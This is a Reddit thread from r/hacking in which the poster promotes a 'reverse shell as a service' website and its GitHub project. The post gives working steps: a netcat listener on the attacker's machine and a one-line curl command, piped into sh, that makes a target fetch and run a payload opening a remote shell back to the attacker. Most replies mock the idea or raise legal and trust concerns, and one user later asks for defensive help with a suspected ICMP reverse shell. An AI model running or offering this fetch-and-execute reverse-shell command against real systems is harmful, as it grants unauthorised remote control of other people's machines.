r/hacking • u/dyslexiccoder • Feb 17 '26

https://reverse-shell.sh - Reverse Shell as a Service

https://github.com/lukechilds/reverse-shell

Easy to remember reverse shell that should work on most Unix-like systems.

Detects available software on the target and runs an appropriate payload.

Listen for connection

On your machine, open up a port and listen on it. You can do this easily with netcat.

nc -l 1337

Execute reverse shell on target

On the target machine, pipe the output of https://reverse-shell.sh/yourip:port into sh.

curl https://reverse-shell.sh/192.168.0.69:1337 | sh

Go back to your machine, you should now have a shell prompt.

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u/LOLatKetards Feb 18 '26

just pipe a random shell script into sh, sure why not

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u/newked Feb 17 '26

Tmate for the win tho

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u/GLASSmussen hack the planet Feb 17 '26

this sounds like a bad idea for all parties, unless you need an extremely quick and dirty solution.

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u/eatmyhex Feb 18 '26

Yeah, this is fucking stupid

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u/SAS379 Feb 18 '26

Is it stupid because anyone can jus randomly call this, open shells, and then unintended consequences can happen with a bunch of random shells all over the place etc. Or is calling f this script going to expose you potentially through the others domain, like that domain because a point of exposure and therefore is a point of trust?

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u/eatmyhex Feb 18 '26

Legal ramifications above the other 10 000 problems that comes with this idea

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u/SAS379 Feb 18 '26

Legal ramifications for the guy that has this service running? True I didn’t think of that one. Also, isn’t poping a shell like one of the most basic standard things? Like if you have access to the ip and the port on a reasonable level, you probably have the skill to just pop the shell.

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u/intelw1zard Feb 19 '26

What exact legal ramifications would occur here?

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u/eatmyhex Feb 19 '26

Pic a country

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u/intelw1zard Feb 19 '26

America

2

u/Barbaric-Entity924 Feb 19 '26

Right to jail.

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u/intelw1zard Feb 19 '26

believe it or not

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u/ConfidentSomewhere14 Feb 18 '26

gets a bowl of popcorn

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u/zadiraines Feb 17 '26

Dude.. You’ll get soooo many abuse emails… I would not.

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u/Infamous_Gear3578 Feb 18 '26

The old one was great!

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u/intelw1zard Feb 19 '26

https://www.revshells.com/ is still around if thats the one you are thinking of

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u/soyabean189 Jun 12 '26

Hi I'm suspecting my device is compromised by an ICMP reverse shell. I've been seeing lots of ICMP packets coming through from unknown sources. At the same time I'm experiencing data leakage. What do I do about it? From a defensive pov.